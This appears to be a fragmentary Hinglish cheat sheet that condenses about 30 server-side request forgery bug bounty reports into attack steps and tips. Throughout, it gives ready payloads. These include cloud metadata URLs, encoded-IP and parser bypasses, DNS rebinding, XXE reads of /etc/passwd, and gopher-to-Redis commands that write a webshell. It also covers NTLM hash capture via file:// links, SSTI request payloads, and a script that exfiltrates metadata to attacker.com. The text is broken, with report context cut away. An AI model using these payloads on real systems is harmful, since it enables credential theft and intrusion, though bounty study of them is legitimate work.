// BASIC SSRF · BLIND SSRF · CLOUD METADATA · PROTOCOL SMUGGLING · CHAINS — 30 REAL BOUNTY REPORTS + 5 BONUS
players parameter
seedha ws.url(url).get() mein ja raha tha bina validation ke. Hacker
ne Github par source code dekha, ws.url dhoondha, aur server ko apna
URL fetch karwa diya → Cloud Metadata + Internal Network access.http, url, fetch, request keywords dhoondho.
webhook.site ya interact.sh use karo, seedha
internal IPs mat try karo.
?players=http://169.254.169.254/latest/meta-data/
http://127.0.0.1:8080 se admin panels dhoondho.
127.0.0.1
aur 169.254.169.254 block the. Par filter sirf IPv4 check kar raha
tha. Hacker ne IPv6-mapped format [::ffff:a9fe:a9fe] use kiya →
Filter bypass → PHP redirect script se AWS Metadata + DataDog Agent endpoints leak![::ffff:a9fe:a9fe] = 169.254.169.254 ka IPv6 format.
http://2852039166 = 169.254.169.254 ka decimal conversion.
Location: http://[::ffff:a9fe:a9fe]
/debug/pprof/heap) check karo.
attacker-dns.com se IP swap attack.
{readapi.URL} sirf
HTTPS allow karta tha. Hacker ne apne HTTPS server se 302 Redirect
bheja → http://169.254.169.254/latest/meta-data/. Backend ne redirect
follow kiya → HTTPS check bypass → AWS metadata fetch!<?php header('Location: http://169.254.169.254/'); ?>
application/json ya text/plain render karta
hai?
{}) block hain? Recursive variable loop se JSON truncate
ho sakta hai.
169.254.169.254 (AWS Metadata). TTL=0 hone se DNS cache expire hua
→ IAM credentials steal!rbndr.us ya 1u.ms se domain banao jo 2 IPs
ke beech switch kare.
getOembedUrlFromHTML() function HTML se oEmbed URL nikalta tha bina
validation ke. Hacker ne malicious HTML page banaya: <link type="application/json+oembed" href="http://169.254.169.254/">.
Ghost ne pehle hacker ka page fetch kiya, phir usmein se internal URL nikaal kar doosri
request bheji → DigitalOcean metadata leak!og:image), Twitter Cards ke tags mein internal IPs daal ke
dekho.
/public/..%2F path traversal
se Open Redirect, (2) Fake plugin load करके Stored XSS, (3) Image Renderer plugin se http://169.254.169.254/ fetch → AWS IAM credentials leak. Anonymous
access enabled tha toh bina login ke bhi attack possible!enabled = true hai toh unauthenticated attack possible hai.
<iframe> blocked tha. Hacker ne <svg><style><h1/><iframe src="https://kubernetes.default.svc/version">
inject kiya → HTML filter confused → PDF generator ne Kubernetes internal service hit karke
version info PDF mein print kiya!<iframe> block hai toh <embed>,
<object>, <svg> combinations
try karo.
kubernetes.default, internal-api.local,
localhost
/livez?verbose, /version, /healthz
https://evil.com/ kiya. Server ne 200 OK diya. Hacker ne socha SSRF hai
— par server ne sirf header ignore kiya, koi internal request nahi bheji. Ye SSRF
nahi hai!webhook.site ya Burp Collaborator use
karo)
/etc/passwd dekh pa rahe ho?
file:// protocol support karta tha). Flow: Hacker → image.api
(External) → dis.api (Internal) → file:////usr/share/pixmaps/system-logo-white.png → Local file read!
file:// support karte hain — SSRF
jackpot!
mgmt, dis.api, store.mgmt jaise internal hosts dhoondho.
file:// nahi chala? Internal host dhoondho jo file:// allow kare.
<!ENTITY> declaration inject ki + XInclude use kiya → Server ne local files (C:/Windows/system32/drivers/etc/hosts) read ki aur internal server data
emblem image mein render karke dikha diya!<xi:include href="http://internal/"> aksar filters miss karte
hain.
//attacker.com/malicious.svg se double forward slash bypass.
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
header.liquid mein JS redirect dala →
Screenshot service ne JS execute kiya → Burp Collaborator par redirect hua → Request headers
mein X-ABS-App-Token: screenshot-service-production@████ leak hua!
Information = Bounty.video/avi bhejti thi par andar m3u8 playlist
code tha. FFmpeg ne playlist read ki → SSRF + concat:file:///etc/passwd|http://attacker.com/ se Local File
Enumeration + Tarpit se DoS!concat:file:///etc/passwd|http://attacker.com/ se file existence
check karo.
localhost:9876 par bina Origin
Validation ke chal raha tha. Hacker ne 7f000001.rbndr.us se DNS
Rebinding ki → Browser ko laga evil.com = localhost → send_http1_request tool se internal network scan + get_proxy_http_history se victim ki poori HTTP history chura li!send_request)? Goldmine hai.
Access-Control-Allow-Origin: * hai? Insecure hai.
file://attacker.com/share/file.txt → Windows
automatically \\attacker.com\share SMB connection banata hai → NTLM
credentials (Username + Hash) auto-send! Responder tool se hash capture → Offline crack →
Password steal. OS ka default behaviour = Security hole.file://[IP]/share daal ke dekho SMB connection banta hai?
Responder ya impacket-smbserver chalao
credentials leak dekhne ke liye.
file://internal-fileserver/C$/secrets.txt
ipfs://..%2f..%2fapi/v0/shutdown → curl ne
rewrite kiya → http://127.0.0.1:5001/ipfs/../../api/v0/shutdown →
Path normalize hua → Internal Admin API (/api/v0/shutdown) hit → IPFS node remote shutdown!
DoS + Info Disclosure possible.custom:// URLs ko http:// mein badalti hai?
Path traversal (../) try karo.
%2f
aur / ko backend kaise handle karta hai? Double-encoding (%252f) try karo.
/api/v0/id, /api/v0/config, /api/v0/shutdown
%0d%0a (CRLF) inject karke
multiple Redis commands smuggle kiye: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall → Redis ne valid
commands samjha → Data delete, PHP webshell write, SSH keys overwrite → SSRF se seedha RCE!
gopher:// try karo. HTTP se kahin zyada khatarnak hai.
%0d%0a daal ke dekho server multiple lines bhej raha hai?
CONFIG SET dir /var/www/html → PHP shell save → RCE!
authorized_keys mein apni key daalke SSH access lo.
project.json ke
Note model mein remote_attachment_url attribute inject kiya.
CarrierWave ne import ke waqt us URL fetch kiya → AWS Metadata as "Attached File" →
Prometheus (9090), Consul (8500) ports bhi accessible! $10,000 bounty!
remote_*_url) inject karo.
%0d%0a inject
karke Redis/SMTP commands smuggle karna) par report. Reject hua: (1)
Duplicate — pehle report ho chuka hai, (2) AI-generated report tha aur hacker ne declare
nahi kiya → HackerOne rules violation!%0d%0a se server multiple requests bhej raha hai?
uri.hostname = ip tha (safe), naye mein hata diya. Ab Net::HTTP hostname se wapas DNS resolve karta hai → DNS Rebinding: pehli query 8.8.8.8, doosri query 127.0.0.1 → Filter bypass → Localhost hit! Ruby 2.7+ mein ipaddr: parameter fix hai.ipaddr:) add hue?::ffff:0127.0.0.1 → Validator ne socha 0127 octal hai ya invalid → Allow kiya. Par curl (macOS) ne leading zero ignore kiya → Request seedha 127.0.0.1 par! Validator aur Requester ke beech ki inconsistency = SSRF bypass.::ffff:127.0.0.1, ::ffff:7f00:0001, ::ffff:0177.0.0.10127, 000.0.0.1 daal ke dekho filter bypass hota hai?ThrowIfLocalIp function sirf decimal IPs check kar raha tha. Hacker ne 127.0.0.1 ko Octal mein convert kiya → 0177.0.0.1. PHP ka filter_var() ise "Private" nahi mana → Filter bypass → curl ne resolve karke localhost hit kiya! Cloud metadata bhi: 0251.0376.0251.03760177.0.0.1 (Octal) ya 0x7f000001 (Hex) try karo.169.254.169.254 blocked? Encoded formats try karo.⑯⑨。②⑤④) se filter confuse karo.account_id ko ../../redirect?url=https://software.bountypay.h1ctf.com/ se replace kiya → API server ne internal path backtrack kiya → Open redirect se restricted software portal fetch → APK dhoondhi → Decompile → Static tokens → CSS Injection se 2FA codes churaaye!../ daal ke internal path badal raha hai?/.git folder khula hai? Source code + credentials mil sakti hain.libssh2_1.4.2 version leak, dict:// se libcurl 7.40.0 leak. Gopher se SMTP relay (spam email bhejwana), TFTP se UDP packets craft, FTP se socket exhaustion DoS. Redirect bypass bhi: Imgur 302 follow karta tha → Filter bypass!dict://, gopher://, tftp://, ldap://, sftp:// try karo.CURLOPT_XOAUTH2_BEARER token delete karna bhool gaya! Trusted site → imap://attacker.com:1430/ redirect → curl ne IMAP XOAUTH2 authenticate kiya → Bearer token hacker ke server par leak! Account Takeover possible.169.254.0.0/16 (Link-Local) ko "Public" samjh liya! Ruby mein IPAddr.new("169.254.169.254").private? = false. Chat mein link paste → Unfurl request → Cloud Metadata Service direct hit → IAM credentials accessible!169.254.169.254 try karo. AWS/GCP/Azure par jackpot hai.[fe80::...] ranges test karo. Filters sirf IPv4 par focus karte hain.private? aur link_local? do alag functions hain. Dono block zaroori!http://169.254.169.254\@geonode.state.gov → Frontend ne dekha geonode.state.gov maujood hai (whitelist pass) → Backend ne @ ke pehle ka hissa "user credentials" samjha → 169.254.169.254 main host bana → Internal AWS metadata hit! 404=Host Alive, 502=Host Dead se internal network map banaya.http://attacker-ip@whitelisted-domain.com try karo.@, \, #, ? ka combination different parsers par try karo./xmlrpc.php active tha → pingback.ping method mein Source URL = attacker server, Target = victim post. WordPress ne attacker ke URL ko fetch kiya → DoD ke IP se request aayi → Internal port scanning (response time analysis) + DDoS relay possible. Bina login ke!system.listMethods ya pingback.ping test karo.http://169.254.169.254 daal ke response time check karo.127.0.0.1:22, 127.0.0.1:3306 — response time se open/closed pata chalta hai./api/v2/url_info?url= endpoint mein external URL dalte hi Tumblr server ne hacker ke server ko hit kiya (IP: 74.114.154.11). Par internal domain (ssrf-server.tumblr.net) hit nahi hua → Automattic ke Egress Filters ne internal access block kiya → "Defense in Depth" victory!url_blocker.rb DNS lookup karke IP validate karta tha. Par agar DNS error aaye (resolve na ho), toh protection trigger hi nahi hota tha (Fail Open)! Hacker ne custom DNS server banaya → Pehle error/invalid response → Protection skip → 15 sec baad "Test Webhook" → DNS ne 169.254.169.254 return kiya → GCP Metadata leak! $3,500 bounty.oauth_token_url Rails ke _url helper se banta tha jo Host Header se URL construct karta hai. Hacker ne Host: [ATTACKER_IP]:81 dala → Server ne POST request hacker ke IP par bheji. Endpoint unauthenticated tha → Bina login ke server ko kisi bhi Internal IP par ping karwa sakte ho! $4,000 bounty._url vs _path ka farq samjho. _url aksar Host header par depend karta hai.localhost:22, 169.254.169.254 daal ke check karo.{{request.get('http://169.254.169.254/')}} inject karke server ko internal URLs fetch karwa sakte ho. Jinja2 mein __import__('urllib').urlopen() se HTTP requests trigger hoti hain. SSTI directly SSRF + RCE ka gateway hai!{{7*7}} daal ke dekho 49 render hota hai? Template engine active hai!__globals__, __builtins__ se urllib ya requests access karo.http://169.254.169.254 ya http://localhost:6379 hit karo.importFromUrl, fetchPreview) → SSRF ka entry point. Batch queries se multiple internal URLs ek saath scan karo. Introspection se hidden mutations dhoondho jo URL-based operations karti hain!__schema se saare queries/mutations list karo. URL-accepting fields dhoondho.webhookUrl, callbackUrl, avatarUrl jaise fields SSRF targets hain.http://169.254.169.254 par Lambda-specific credentials milte hain + /proc/self/environ se environment variables (API keys, DB passwords) leak hote hain. Lambda function ka temporary IAM role chura ke poora AWS account compromise possible!http://169.254.169.254/2021-03-31/dynamic/instance-identity/file:///proc/self/environ se AWS_ACCESS_KEY_ID, AWS_SECRET nikaalo.http://127.0.0.1:9001/2018-06-01/runtime/invocation/next?url=safe.com&url=http://169.254.169.254. PHP last value leta hai, Node.js pehla, Java/Spring array banata hai. Is inconsistency se URL filter bypass ho jata hai → SSRF!?url=safe.com&url=evil.com bhej ke dekho kaun sa use hota hai.url[]=safe.com&url[]=evil.com<script>fetch('http://169.254.169.254/').then(r=>r.text()).then(d=>new Image().src='http://attacker.com/?d='+btoa(d))</script> → Cloud metadata exfiltrate via image request! Chrome DevTools Protocol (CDP) port 9222 bhi target hota hai.fetch() + XMLHttpRequest se internal URLs hit karo./json endpoint se browser instances list karo.